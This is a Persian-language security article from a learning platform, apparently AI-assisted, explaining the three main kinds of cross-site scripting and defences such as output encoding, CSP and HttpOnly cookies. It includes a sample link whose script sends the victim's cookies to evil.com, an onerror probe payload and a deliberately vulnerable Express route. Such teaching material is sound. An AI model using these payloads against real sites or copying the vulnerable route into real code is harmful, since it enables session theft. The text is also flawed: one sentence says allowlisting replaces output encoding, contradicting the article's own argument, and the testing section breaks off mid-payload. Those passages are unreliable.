arrow_backبازگشت به یادداشت‌های میدانی
WEB SECURITY منتشر شده 9 Aug 2026

Cross-Site Scripting: چرا XSS در سال ۲۰۲۴ هنوز خطرناک است

تفکیک عملی XSS منعکس‌شده، ذخیره‌شده و مبتنی بر DOM، نحوه سوء‌استفاده توسط مهاجمین و روش‌های واقعی متوقف‌کردن آن.

XSS به مدت دو دهه در فهرست OWASP Top 10 قرار دارد و هنوز یکی از اولین چیزهایی است که یک penetration tester بررسی می‌کند. باگ ساده برای توضیح است و برای بسته‌شدن کامل خسته‌کننده: مهاجم JavaScript خود را با منشأ سایت شما در مرورگر قربانی اجرا می‌کند. هنگامی که این اتفاق می‌افتد، آنها می‌توانند کوکی‌ها را بخوانند، درخواست‌ها را جعل کنند یا صفحه را جلوی کاربر بازنویسی کنند.

سه نوع اصلی

Reflected XSS حمله فیشینگ کلاسیک است. صفحه جستجو ?q= را از URL می‌گیرد و بدون رمزگذاری آن را مستقیم در HTML چاپ می‌کند. لینکی مثل https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> برای کسی ارسال کنید و اگر درحالی‌که وارد شده‌اند کلیک کنند، کوکی جلسه شان به مهاجم می‌رود.

Stored XSS بدتر است چون به لینک نیاز ندارد. یک فیلد نظر، یک بیوگرافی پروفایل، توضیحات یک تیکت پشتیبانی — هرجا ورودی کاربر ذخیره شود و بعداً برای کاربران دیگر رندر شود. payload را یکبار ارسال کنید و هر بازدیدکننده‌ای که آن صفحه را ببیند اصابت می‌خورد، مهندسی اجتماعی لازم نیست.

DOM-based XSS کاملاً در کد سمت کلاینت زندگی می‌کند. سرور هرگز payload مخرب را نمی‌بیند؛ این JavaScript است که چیزی مثل location.hash یا document.referrer را می‌خواند و در innerHTML یا eval() فرو می‌برد. این مورد افراد را سردرگم می‌کند چون logging سمت سرور کاملاً تمیز به نظر می‌رسد.

کجا واقعاً از آنجا می‌آید

اکثر باگ‌های XSS به یک اشتباه منتج می‌شوند: رفتار با داده‌های نامعتبر به عنوان markup یا کد معتبر. sink های رایج برای دقت در JavaScript: innerHTML, outerHTML, document.write, eval, setTimeout با آرگومان رشته‌ای، و .html() jQuery. در سمت سرور، موتورهای template که به‌طور پیش‌فرض auto-escape نمی‌کنند (concatenation رشته‌ای خام در HTML) معمولاً مقصر هستند.

یک مثال سریع از دنیای واقعی: یک اپلیکیشن Node/Express که انجام می‌دهد

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

دارای reflected XSS فوری است. req.query.name بدون هیچ رمزگذاری مستقیم در پاسخ می‌رود. هرکسی که /greet?name=<img src=x onerror=alert(document.domain)> را بازدید کند آن را در حدود دو ثانیه اثبات می‌کند.

تعمیر آن برای واقع

Context-aware output encoding راه‌حل واقعی است، نه راه‌حل موقت. بدنه HTML، attribute HTML، رشته JavaScript، و URL context‌ها هر کدام به قوانین رمزگذاری متفاوتی نیاز دارند — یک کتابخانه مثل Java Encoder OWASP، یا auto-escaping درون‌ساخت در موتورهای template مثل Jinja2, React JSX، یا Handlebars، این را به‌درستی انجام می‌دهند. React به‌ویژه محتوای متن را به‌طور پیش‌فرض escape می‌کند، به همین دلیل است که dangerouslySetInnerHTML به این شکل نام‌گذاری شده است: این یک برچسب هشدار است.

Validation ورودی کمک می‌کند اما به‌تنهایی کافی نیست. Denylisting برچسب‌های <script> مداوم دور زده می‌شود — <img src=x onerror=...>, <svg onload=...>، یا event handler‌های تقریباً روی هر برچسب همه کار می‌کنند. Allowlisting فرمت‌های مورد انتظار (یک regex ایمیل، یک ID عددی) خوب است به عنوان لایه ثانویه، اما جای رمزگذاری خروجی درست را می‌گیرد.

Content-Security-Policy قوی‌ترین لایه defense-in-depth موجود است. یک سیاست مثل

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

script‌های inline و منابع script شخص‌ثالث را بلوک می‌کند مگر اینکه به‌طور صریح nonce شده یا allowlist شده باشند، که بیشتر payload‌های XSS را از اجرا متوقف می‌کند حتی اگر از رمزگذاری جان سالم به در برند. از unsafe-inline و unsafe-eval در CSP‌های production دوری کنید؛ آنها اکثر حفاظت را شکست می‌دهند.

کوکی‌ها را با پرچم‌های HttpOnly و Secure تعیین کنید تا حتی یک XSS موفق نتواند کوکی جلسه را مستقیماً از طریق document.cookie بخواند. این injection را متوقف نمی‌کند اما blast radius را به‌طور قابل‌توجهی محدود می‌کند.

خود تست کنید

Burp Suite active scanner بسیاری از reflected و stored XSS را به‌طور خودکار شناسایی می‌کند، اما تست دستی برای حالات DOM-based اهمیت دارد. ابزاری مثل test suite خود DOMPurify یا سادگی grep کردن codebase برای innerHTML = و eval( تعداد شگفت‌انگیزی finding را سریع سطح می‌برند. برای یک probe دستی، payload `

با کمک هوش مصنوعی نوشته‌شده، بازبینی و منتشر‌شده توسط Michal Pilch (CISSP)، Korra Studio.

آماده برای پیش‌رفت بیشتر؟

این یکی از یادداشت‌های پایگاه دانش Korra Studio است — پلتفرم هر موضوع را با مربی یک‌به‌یک جفت می‌کند.

شروع رایگانarrow_forward